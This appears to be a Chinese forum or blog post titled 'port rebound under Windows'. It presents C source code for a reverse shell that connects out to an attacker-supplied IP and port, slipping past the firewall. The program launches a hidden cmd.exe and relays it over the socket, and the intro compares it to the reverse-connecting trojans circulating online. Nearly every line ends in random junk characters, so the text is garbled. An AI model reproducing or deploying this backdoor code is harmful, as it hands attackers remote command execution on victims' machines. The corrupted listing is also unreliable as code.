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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Xvm.Un< N  
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/* ============================== q[Hx y  
Rebound port in Windows NT Nhn5 iN1*  
By wind,2006/7 '5KgRK"  
===============================*/ Ze'AZF  
#include u#?K/sU  
#include to^ &:  
3@?#4]D{'  
#pragma comment(lib,"wsock32.lib") ,)XT;iGQe  
Y:]~~-f\~  
void OutputShell(); dfGdY"&  
SOCKET sClient; ZPn`.Qc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EkM?Rs  
q(e&{pbM)  
void main(int argc,char **argv) ;Aiuy{<  
{ |x 2>F  
WSADATA stWsaData; 0]{h,W3]@[  
int nRet; *@l NL=%R  
SOCKADDR_IN stSaiClient,stSaiServer; oJR0sbikP  
gpsEN(.w  
if(argc != 3) ~;,]/'O  
{ Ot(U_rJCi  
printf("Useage:\n\rRebound DestIP DestPort\n"); BV$lMLD{r  
return; XQ--8G  
} PkQuN;a  
n[CESo%[  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~qLbyzHaB  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vp\BNq_!s  
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stSaiClient.sin_family = AF_INET; V{@<Z8sW#  
stSaiClient.sin_port = htons(0); j/{F#auI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {LbNKjn  
eHi|_3A&*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mKtZ@r)u  
{ >IC.Zt@  
printf("Bind Socket Failed!\n"); bT*MJ7VVm  
return; S& 8gZ~B  
} +?[TH?2c+  
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stSaiServer.sin_family = AF_INET; [ECSJc&i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U2=5Nt5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wt[MzpRP  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g}@_ @  
{ |! i3Y=X  
printf("Connect Error!"); 41mg:xW(J  
return; b[? 6/#N  
} GptJQ=pV  
OutputShell(); [#kfl  
} "2)<'4q5)  
RtGETiA\b  
void OutputShell() 'N)&;ADx-G  
{ L{ ?& .iA  
char szBuff[1024]; z9U<Z^4z+  
SECURITY_ATTRIBUTES stSecurityAttributes; mfQQ<Q@  
OSVERSIONINFO stOsversionInfo; 2I(0EBW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,Ww)>O+  
STARTUPINFO stStartupInfo; -RVwPY  
char *szShell; "2}04b|"  
PROCESS_INFORMATION stProcessInformation; .6+j&{WNo!  
unsigned long lBytesRead; `+1+0?9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C,hs!v6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LpeQx\  
stSecurityAttributes.lpSecurityDescriptor = 0; &OK(6o2m;  
stSecurityAttributes.bInheritHandle = TRUE; BhLYLlXPY  
= \AI92  
Kjc"K36{L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SfyZ,0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )TFaG[tj  
VZ'[\3J  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [MdVgJ9'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HvN!_}[  
stStartupInfo.wShowWindow = SW_HIDE; Y[i>  
stStartupInfo.hStdInput = hReadPipe; di>"\On-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2B3H -`  
YH&`+ +  
GetVersionEx(&stOsversionInfo); J"yO\Y  
b/5?)!I  
switch(stOsversionInfo.dwPlatformId) j1*'yvGM  
{ kq8:h  
case 1: $IA(QC_]AO  
szShell = "command.com"; Oj\lg2Ck  
break; 2HoTj|  
default: tm@&f  
szShell = "cmd.exe"; L TZ3r/  
break; c^><^LGb  
} ?<]BLkx  
|sMRIW,P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SGre[+m~m  
U8-#W(tRR  
send(sClient,szMsg,77,0); =21$U[  
while(1) |Nd!+zE$Z  
{ G)]'>m<y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EeG7 %S 5(  
if(lBytesRead) & V^ Z  
{ 0=#:x()e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cKdn3 2Y4  
send(sClient,szBuff,lBytesRead,0); rE;*MqYt&  
} L/_h5Q:'W  
else F$ShhZgi  
{ IP7j)SM!  
lBytesRead=recv(sClient,szBuff,1024,0); qc2j}D0  
if(lBytesRead<=0) break; q,F\8M\$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vm"LPwSk>  
} z6]dF"N  
} q.U` mtS  
s]50Y-C  
return; ~m8".Z"  
}
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